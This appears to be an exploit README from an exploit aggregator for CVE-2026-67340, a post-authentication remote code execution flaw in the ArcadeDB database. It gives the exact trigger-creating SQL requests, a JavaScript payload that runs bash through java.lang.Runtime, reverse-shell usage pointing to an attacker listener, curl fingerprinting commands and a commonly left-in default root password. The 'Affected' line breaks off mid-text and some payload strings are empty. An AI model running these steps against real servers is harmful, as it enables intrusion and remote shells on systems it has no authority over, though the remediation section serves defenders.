## https://sploitus.com/exploit?id=8EADDC1D-DA94-52A3-8A10-B50387490F94
# CVE-2026-67340 — ArcadeDB JAVASCRIPT Trigger-Script RCE (post-auth)
Post-authentication remote code execution in [ArcadeDB](https://github.com/ArcadeData/arcadedb)
(a Java multi-model database) via a **JAVASCRIPT trigger** that reaches host classes.
A trigger's GraalVM polyglot engine is built with a host-class allow-list that includes
**`java.lang.*`** (`ScriptTriggerExecutor.setAllowedPackages`), so a trigger script can call:
```js
Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c",""]);
```
`allowCreateProcess(false)` does **not** block it — `Runtime.exec` is a *host method call*
permitted by `HostAccess.ALL`, not GraalVM's guest process API. Creating a trigger needs only the
**`UPDATE_SCHEMA`** permission (weaker than the `UPDATE_SECURITY` that gates direct scripting), so
`root` can do it — a **post-auth** RCE over the HTTP API.
- **Affected:** ArcadeDB ` The direct `language:js` command path is **not** the vector — it has no allowed packages
> (`Java.type` blocked) and is gated behind `UPDATE_SECURITY`. Only the **trigger** executor
> hard-codes `java.lang.*`.
## Requirements
Python 3 standard library only — no dependencies. Valid ArcadeDB credentials with `UPDATE_SCHEMA`
(e.g. `root`). ArcadeDB has no hard-coded default password, but its own `docker-compose.yml` ships
the example `root:playwithdata`, which is a common leave-in-place credential.
## Usage
```bash
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:2480/ -c 'id > /tmp/pwned'
# custom credentials / database
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444 -U root -P playwithdata -d mydb
```
## How it works
Three authenticated `POST /api/v1/command/` requests (`language:sql`):
1. `CREATE DOCUMENT TYPE Pwn`
2. `CREATE TRIGGER pwn BEFORE CREATE ON TYPE Pwn EXECUTE JAVASCRIPT
'var p=Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","echo |base64 -d|bash"]); true;'`
3. `INSERT INTO Pwn SET x = 1` — the `BEFORE CREATE` trigger fires and the JavaScript executes.
The OS command is base64-wrapped so the JavaScript/SQL/JSON layers need no nested-quote escaping,
and the script omits `waitFor()` so `exec` returns immediately (the child keeps running, the
request doesn't block).
## Identifying a target
```bash
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:2480/api/v1/databases # 401 -> ArcadeDB HTTP API
curl -s -u root:playwithdata http://10.10.10.10:2480/api/v1/databases # lists databases
```
## Remediation
Upgrade to ArcadeDB ≥ 26.7.2, set a strong `rootPassword` (never `playwithdata`), don't run
ArcadeDB as root, restrict `UPDATE_SCHEMA`, and keep the HTTP API/Studio off untrusted networks.
## Disclaimer
For authorized security testing and education only. Use it only against systems you own or have
explicit permission to test.